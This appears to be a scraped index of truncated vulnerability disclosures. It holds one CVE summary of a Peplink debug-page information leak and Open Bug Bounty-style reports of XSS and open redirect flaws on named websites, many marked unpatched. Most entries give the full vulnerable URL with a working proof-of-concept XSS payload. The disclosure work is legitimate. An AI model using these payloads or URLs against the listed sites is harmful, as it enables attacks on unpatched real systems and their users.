CVE-2017-8840

Debug information disclosure exists on Peplink Balance 305, 380, 580, 710, 1350, and 2500 devices with firmware before fw-b305hw2380hw6580hw2710hw31350hw22500-7.0.1-build2093. A direct request to cgi-bin/HASync/hasync.cgi?debug=1 shows Master LAN Address, Serial Number, HA Group ID, Virtual IP, a...

rueckenwind.de XSS vulnerability

Vulnerable URL: http://www.rueckenwind.de/de/tour?tourTyp===a%3E%27%3E%22%3Et%3Ci%3Ep%3Cimg+src%3Dy+onerror%3Dalert%28%2Fopenbugbounty%2F%29%3E Details: Description| Value ---|--- Patched:| Yes, at 26.11.2017 Latest check for patch:| 26.11.2017 14:41 GMT Vulnerability type:| XSS Vulnerability...

journals.plos.org XSS vulnerability

Vulnerable URL: http://journals.plos.org/plosone/search?q=%22;%20--%3E%20///%20%3C!%2Fscript%3E%3Cscript%3Eprompt%2FDarah%2F%3C%2Fscript%3E%3C!%22 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 31.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclose...

peakdistrictonline.co.uk XSS vulnerability

Vulnerable URL:...

yuk.co.uk XSS vulnerability

Vulnerable URL: http://yuk.co.uk/domains/domains4sale.asp?domain=%3Csvg/onload=alert/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP...

vk-oblozhki.ru XSS vulnerability

Vulnerable URL: http://vk-oblozhki.ru/search/?q=%27%7D%7D;%22%3E%7D;%7D;%7D--%3E%3C/SCRIPT%3E-%3C/style%3E-%3C/title%3E-%3C/BoDy%3E-%3Cmarquee%3E-%3Ch1%3EOmniGooch%3C/h1%3E-%3C/marquee%3E-%3Csvg/onload=alert%27XSSPOSED%27;%3E;%7B%7B%27 Details: Description| Value ---|--- Patched:| No Latest check...

tumen.ucheba.ru XSS vulnerability

Vulnerable URL: http://tumen.ucheba.ru/search?eq=s:"'--!fr=to= Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| No Check tumen.ucheba.ru SSL connection:| Grade: B...

kiekert.com XSS vulnerability

Vulnerable URL: http://www.kiekert.com/cs/Hledat?id=111=%22%3E%3C%2Fscript%3E%3Cimg+src%3Dx+onerror%3Dprompt%2FXSSPOSED%2F%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 787591...

penzanews.ru Open Redirect vulnerability

Vulnerable URL: https://penzanews.ru/?go=openbugbounty.org Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| Open Redirect Vulnerability status:| Publicly disclosed Alexa Rank| 215135 VIP website status:| No Check penzanews.ru SSL connection...

zalec.si Open Redirect vulnerability

Vulnerable URL: http://www.zalec.si/desk/common/OpenLink.asp?url=https://www.openbugbounty.org Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| Open Redirect Vulnerability status:| Publicly disclosed Alexa Rank| 2791213 VIP website status:|...

curatorseye.com XSS vulnerability

Vulnerable URL: https://www.curatorseye.com/contact.php?Item=4887=/%27%22--!%3E%20%3Cimg%20src=x%20onerror=alert%22OPENBUGBOUNTY%22%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank...

widget3.linkwithin.com XSS vulnerability

Vulnerable URL:...

kobzart.hu XSS vulnerability

Vulnerable URL: http://www.kobzart.hu/vendegkonyv/vendegkonyv/hirek/"--!" Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| No Check...

riopreto.sp.gov.br XSS vulnerability

Vulnerable URL: http://www.riopreto.sp.gov.br/PortalGOV/do/busca?op=buscaForm=false=false==========true=" Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VI...

cepii.fr XSS vulnerability

Vulnerable URL: http://www.cepii.fr/BLOG/en/search.asp?q==ok Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 311595 VIP website status:| No Check cepii.fr SSL connection:| Grade: F...

redeyechicago.com XSS vulnerability

Vulnerable URL: http://www.redeyechicago.com/search/dispatcher.front/'-alert'OPENBUGBOUNTY'-' Details: Description| Value ---|--- Patched:| No Latest check for patch:| 31.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 1277141 VIP website status:| No Check...

nedis.ee XSS vulnerability

Vulnerable URL: http://www.nedis.ee/et-et/uudised/viimased-uudised/47/.htm?page=1%22%27--!%3E%3CScript%20/K/%3EconfirmOPENBUGBOUNTY%3C/Script%20/K/%3Enews Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 13191187...

mp3clan.de XSS vulnerability

Vulnerable URL: http://mp3clan.de/mp3/a%3E'%3E%22%3Et%3Ci%3Ep%3Cimgsrc=yonerror=prompt/openbugbounty/%3E.html Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 385426 VIP website...

mylan.in XSS vulnerability

Vulnerable URL:...

my.talentsy.com XSS vulnerability

Vulnerable URL: https://my.talentsy.com/user/channels Details: Description| Value ---|--- Patched:| No Latest check for patch:| 16.08.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| No Check my.talentsy.com SSL...